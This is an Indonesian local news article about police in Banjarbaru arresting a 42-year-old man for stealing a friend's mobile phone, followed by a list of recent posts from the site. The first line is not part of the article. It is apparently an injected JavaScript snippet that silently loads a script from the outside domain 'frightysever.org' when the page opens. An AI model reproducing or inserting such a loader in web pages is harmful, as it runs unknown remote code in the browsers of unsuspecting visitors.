(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Curi HP Teman Sendiri, Pria 42 Tahun Warga Bangkal Masuk Bui


KANALKALIMANTAN.COM, BANJARBARU – Unit Opsnal Polsek Banjarbaru Utara menciduk pelaku pencurian. Ironisnya, korban pencurian adalah teman sendiri.

Polisi membekuk tersangka K (42), warga Jalan Mistar Cokrokusumo RT 03 RW 01, Kelurahan Bangkal, Kecamatan Cempaka Kota Banjarbaru.

Kapolsek Banjarbaru Utara Kompol Shofiyah melalui Kasi Humas Polsek Banjarbaru Utara Aipda Andreas mengatakan tersangka K (42) diduga mencuri handphone milik kawannya, ketika pelaku datang ke rumah korban.

“Pelaku sama korban saling kenal, saat itu pelaku datang ke rumah korban, tiba-tiba pelaku mengambil hp korban dan melarikan diri saat dikejar,” ucapnya, Kamis (3/3/2022).

 

 

Baca juga: Ketika Kedelai Impor Terus Naik: Pengrajin Tempe di Banjarbaru Kecilkan Ukuran, Harga per Potong Dinaikan

Informasi diketahui ketika korban melaporkan handphone miliknya yang hilang pada Selasa (1/3/2022) sekitar pukul 15.30 Wita di Jalan Trikora Komplek Royal Residence, Kelurahan Loktabat Selatan, Kecamatan Banjarbaru Selatan, Kota Banjarbaru.

Aipda Andreas menambahkan K (42) diciduk petugas di rumahnya di Kelurahan Bangkal dipimpin Panit 2 Opsnal Reskrim Polsek Banjarbaru Utara Aiptu Sugeng Gunawan dan diback up oleh Unit Reskrim Polsek Cempaka. Setelah mendapat laporan bahwa pelaku berada di rumahnya di Kelurahan Bangkal, penangkapan pelaku pada Rabu (2/3/2022) sekitar pukul 21.00 Wita.

Saat dilakukan crosscheck, kemudian dilakukan penangkapan serta penggeledahan di rumah pelaku petugas berhasil menemukan barang bukti berhasil menemukan satu buah handphone merk Infinix note 10 warna hitam

“Barang bukti disembunyikan pelaku di dalam keranjang pakaian,” jelasnya.

Selanjutnya tersangka beserta barang bukti dibawa ke Polsek Banjarbaru Utara guna proses hukum lebih lanjut.

Baca juga: Tim Drum Band HSU Bidik Tiga Medali di Porprov 2022

Berdasarkan perbuatannya, kini pelaku harus mempertanggungjawabkan perbuatannya berdasarkan Pasal 362 KUHP.(kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : Bie


Risa

Recent Posts

Banjarbaru Posisi Kedua Klasemen Sementara Popda Kalsel 2024

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah cabang olahraga (cabor) unggulan membawa kontingen Kota Banjarbaru bertengger di posisi… Read More

11 menit ago

Hasnur Resmi Lamar Partai Golkar, Mencari ‘Pintu’ Koalisi Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hasnuryadi Sulaiman untuk maju pada kontestasi Pemilihan Gubernur dan Wakil Gubernur… Read More

2 jam ago

Pasti Maju Pilwali Banjarbaru, Ovie Simpan Nama Pasangan

KANALKALIMANTAN.COM, BANJARBARU - Aditya Mufti Ariffin memastikan akan kembali berkontestasi dalam Pemilihan Kepala Daerah (Pilkada)… Read More

3 jam ago

Soal Caleg Terpilih Mundur atau Tidak Mundur Jika Maju Pilkada, Begini Penjelasan KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Anggota Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel), Fahmi Failasopa menegaskan… Read More

5 jam ago

Jalan Pangeran Suriansyah Banjarbaru Steril PKL dan Parkir Tepi Jalan

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas Pedagang Kaki Lima alias PKL di sepanjang jalan Pangeran Suriansyah, Kelurahan… Read More

7 jam ago

Wapres Serahkan Motor Perpustakaan Keliling ke Pemkab HSU

KANALKALIMANTAN.COM, JAKARTA - Wakil Presiden RI, KH Ma’ruf Amin secara simbolis menyerahkan bantuan Motor Perpustakaan… Read More

8 jam ago

This website uses cookies.